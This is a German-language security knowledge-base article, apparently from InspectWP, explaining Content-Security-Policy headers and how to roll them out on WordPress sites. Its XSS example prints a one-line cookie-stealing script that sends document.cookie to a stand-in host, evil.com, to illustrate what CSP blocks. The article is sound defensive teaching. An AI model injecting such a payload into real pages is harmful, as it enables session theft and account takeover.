Was ist Content-Security-Policy (CSP)?

Content-Security-Policy (CSP) ist ein HTTP-Response-Header, der dir detaillierte Kontrolle darueber gibt, welche Ressourcen der Browser auf deiner Seite laden darf. Das umfasst Skripte, Stylesheets, Bilder, Schriftarten, iframes und mehr. CSP gilt allgemein als eine der wirksamsten Verteidigungen gegen Cross-Site-Scripting-Angriffe (XSS), die weiterhin zu den haeufigsten Schwachstellen im Web gehoeren.

Wenn du eine WordPress-Seite betreibst, ist CSP besonders relevant, weil WordPress-Seiten typischerweise Ressourcen aus vielen verschiedenen Quellen laden: deinem eigenen Server, CDNs, Analyse-Anbietern, Schriftarten-Diensten, Werbenetzwerken und allem, was deine Plugins und dein Theme einbinden. CSP laesst dich genau festlegen, welche dieser Quellen erlaubt sind.

Wie ein Cross-Site-Scripting-Angriff (XSS) funktioniert

Um zu verstehen, warum CSP wichtig ist, hilft es zu sehen, was es verhindert. Hier ist ein konkretes Beispiel, wie ein XSS-Angriff auf einer WordPress-Seite ablaufen kann:

Angenommen, deine Seite hat ein Kommentarformular, und die Kommentarbereinigung hat eine Luecke (entweder im WordPress-Core, einem Plugin oder einer eigenen Theme-Funktion). Ein Angreifer reicht einen Kommentar mit folgendem Snippet ein:

<script>document.location='https://evil.com/steal?c='+document.cookie</script>

Wenn dieses Skript ohne korrektes Escaping auf der Seite gerendert wird, fuehrt der Browser jedes Besuchers, der den Kommentar sieht, diesen Code aus. Er sendet die Session-Cookies an den Server des Angreifers. Mit diesen Cookies kann sich der Angreifer als Opfer einloggen, auch als Administrator, wenn ein Admin den Kommentar ansieht.

Mit einer korrekt konfigurierten CSP schlaegt dieser Angriff fehl. Der Browser prueft das Skript gegen die Richtlinie und stellt fest, dass Inline-Skripte nicht erlaubt sind (sofern nicht explizit freigeschaltet). Das Skript wird blockiert, und der Browser protokolliert einen Verstoss, anstatt den Code auszufuehren.

CSP-Header-Syntax und wichtige Direktiven

Ein CSP-Header besteht aus Direktiven, die jeweils festlegen, welche Quellen fuer einen bestimmten Ressourcentyp erlaubt sind. Hier ein Beispiel:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://api.example.com

Schauen wir uns die wichtigsten Direktiven an:

• default-src: Die Fallback-Richtlinie fuer jeden Ressourcentyp, der keine eigene Direktive hat. Wenn du default-src 'self' setzt, sind standardmaessig nur Ressourcen von deiner eigenen Domain erlaubt.
• script-src: Kontrolliert, welche JavaScript-Quellen erlaubt sind. Dies ist die sicherheitskritischste Direktive, da Skripte vollen Zugriff auf das Seiten-DOM und Cookies haben.
• style-src: Kontrolliert, welche CSS-Quellen erlaubt sind. Diese braucht auf WordPress-Seiten oft 'unsafe-inline', weil viele Plugins und Themes Inline-Styles injizieren.
• img-src: Kontrolliert, welche Bildquellen erlaubt sind. Der Wert data: erlaubt Inline-Base64-Bilder, die manche Plugins verwenden.
• font-src: Kontrolliert, woher Schriftarten geladen werden duerfen. Bei Nutzung von Google Fonts muss https://fonts.gstatic.com freigeschaltet werden.
• connect-src: Kontrolliert, welche URLs ueber AJAX, Fetch API oder WebSocket-Verbindungen erreichbar sind. Wichtig fuer Seiten, die REST-APIs oder externe Dienste nutzen.
• frame-src: Kontrolliert, welche Origins in iframes auf deiner Seite eingebettet werden koennen. Relevant, wenn du YouTube-Videos, Google Maps oder andere Drittanbieter-Widgets einbettest.
• frame-ancestors: Kontrolliert, welche Seiten deine Seite in einem iframe einbetten duerfen. Dies ist das CSP-Aequivalent zu X-Frame-Options (siehe KB-3).
• base-uri: Beschraenkt, welche URLs im <base>-Element verwendet werden duerfen. Das Setzen auf 'self' verhindert, dass Angreifer die Basis-URL deiner Seite aendern.
• form-action: Beschraenkt, wohin Formulare auf deiner Seite Daten senden koennen. Dies kann Phishing-Angriffe verhindern, bei denen ein Angreifer die Ziel-URL eines Formulars aendert.

Nonce-basiertes vs. Hash-basiertes Script-Whitelisting

Das Blockieren aller Inline-Skripte ist der ideale Ansatz, aber manchmal sind Inline-Skripte notwendig. CSP bietet zwei sichere Alternativen zu 'unsafe-inline':

Nonce-basiertes Whitelisting funktioniert, indem fuer jeden Seitenaufruf ein einzigartiger Zufallstoken generiert wird. Du fuegst diesen Nonce sowohl dem CSP-Header als auch den Script-Tags hinzu:

Content-Security-Policy: script-src 'nonce-abc123random'

<script nonce="abc123random">
  // Dieses Skript wird ausgefuehrt, weil der Nonce uebereinstimmt
</script>

Der Nonce muss bei jedem Seitenaufruf anders sein. Ein Angreifer, der ein Skript injiziert, kann den aktuellen Nonce nicht kennen, daher wird sein Skript blockiert. Dieser Ansatz funktioniert gut, wenn du die HTML-Ausgabe kontrollierst und Nonces dynamisch hinzufuegen kannst.

Hash-basiertes Whitelisting verwendet einen kryptographischen Hash des Skriptinhalts:

Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='

Der Browser berechnet den Hash jedes Inline-Skripts und gleicht ihn mit den erlaubten Hashes ab. Dies ist nuetzlich fuer statische Inline-Skripte, die sich zwischen Seitenaufrufen nicht aendern.

Monitoring mit CSP-Reporting-Direktiven

CSP bietet eingebaute Reporting-Funktionen, mit denen du Verstoesse ueberwachen kannst, ohne deine Seite zu beschaedigen:

Die report-uri-Direktive (aelter, aber noch weitgehend unterstuetzt) sendet Verstossberichte an einen angegebenen Endpunkt:

Content-Security-Policy: default-src 'self'; report-uri /csp-report-endpoint

Die neuere report-to-Direktive arbeitet mit der Reporting API und bietet mehr Flexibilitaet:

Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Report-To: {"group":"csp-endpoint","max_age":10886400,"endpoints":[{"url":"https://yoursite.com/csp-reports"}]}

Mehrere Drittanbieter-Dienste wie Report URI, Sentry und Datadog koennen CSP-Berichte sammeln und visualisieren, was beim Rollout einer neuen Richtlinie extrem hilfreich ist.

Testen mit Content-Security-Policy-Report-Only

Hier sollten die meisten anfangen. Der Content-Security-Policy-Report-Only-Header verhaelt sich genau wie der regulaere CSP-Header, aber anstatt Verstoesse zu blockieren, meldet er sie nur. Nichts wird tatsaechlich blockiert; der Browser protokolliert lediglich, was blockiert worden waere.

Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report-endpoint

Das laesst dich genau sehen, welche Ressourcen auf deiner Seite von einer CSP-Richtlinie betroffen waeren, bevor du sie erzwingst. Du kannst die Browser-Entwicklerkonsole auf CSP-Verstoessmeldungen pruefen oder strukturierte Berichte ueber die Reporting-Endpunkte sammeln.

Warum CSP auf WordPress-Seiten eine Herausforderung ist

WordPress und CSP haben eine komplizierte Beziehung. Die zentrale Herausforderung ist, dass WordPress und sein Oekosystem entworfen wurden, bevor CSP existierte, und viele gaengige Muster im Konflikt mit strikten CSP-Richtlinien stehen:

• Inline-Skripte: WordPress Core, WooCommerce und viele populaere Plugins injizieren Inline-JavaScript. Eine strikte script-src-Richtlinie ohne 'unsafe-inline' wird diese beschaedigen.
• Inline-Styles: Viele Plugins und Page Builder (Elementor, Divi, WPBakery) generieren Inline-CSS. Der Customizer injiziert ebenfalls Inline-Styles. Das zwingt dich oft, 'unsafe-inline' fuer style-src zu verwenden.
• eval()-Nutzung: Manche Plugins verwenden eval() oder new Function(), was 'unsafe-eval' in script-src erfordert. Das schwaecht den Schutz erheblich.
• Drittanbieter-Ressourcen: Analyse-Skripte (Google Analytics, Matomo), Schriftarten (Google Fonts), CDNs, Social-Media-Embeds und Werbeskripte muessen alle explizit freigeschaltet werden.
• Plugin-Updates: Ein Plugin-Update kann ploetzlich Ressourcen von einer neuen Domain laden und deine CSP ohne Vorwarnung brechen.

Fuer die praktische WordPress-CSP-Implementierung enden die meisten Seitenbetreiber mit einer Richtlinie, die 'unsafe-inline' fuer Styles erlaubt, aber Skripte und andere Ressourcen so weit wie moeglich einschraenkt. Das ist ein vernuenftiger Kompromiss, der trotzdem sinnvollen Schutz bietet.

Praktische Schritte fuer CSP auf WordPress

Hier ist ein schrittweiser Ansatz, der in der Praxis funktioniert:

1. Beginne mit Content-Security-Policy-Report-Only auf default-src 'self' und einem Report-Endpunkt.
2. Durchsuche deine Seite gruendlich und pruefe die Verstossberichte. Notiere jede blockierte Ressource.
3. Fuege die notwendigen Quell-Domains einzeln zu deinen Richtlinien-Direktiven hinzu.
4. Teste alle kritischen Funktionen: Login, Checkout (bei WooCommerce), Formulare, Admin-Bereich.
5. Sobald die Report-Only-Richtlinie bei normaler Nutzung keine Verstoesse mehr zeigt, wechsle zum erzwingenden Content-Security-Policy-Header.
6. Halte den Reporting-Endpunkt auch nach der Erzwingung aktiv, damit du neue Verstoesse durch Plugin-Updates oder Inhaltsaenderungen erkennst.

Was InspectWP prueft

InspectWP prueft, ob deine Seite einen Content-Security-Policy-Header sendet. Fehlt dieser, markiert der Report, dass deine Seite keinen CSP-Schutz gegen XSS und andere Injektionsangriffe hat. Wenn eine Richtlinie vorhanden ist, zeigt InspectWP den vollstaendigen Policy-String an, damit du ihn ueberpruefen kannst. Bedenke, dass ein CSP-Header mit uebermassig permissiven Direktiven (wie default-src * oder script-src 'unsafe-inline' 'unsafe-eval') nur sehr wenig tatsaechlichen Schutz bietet.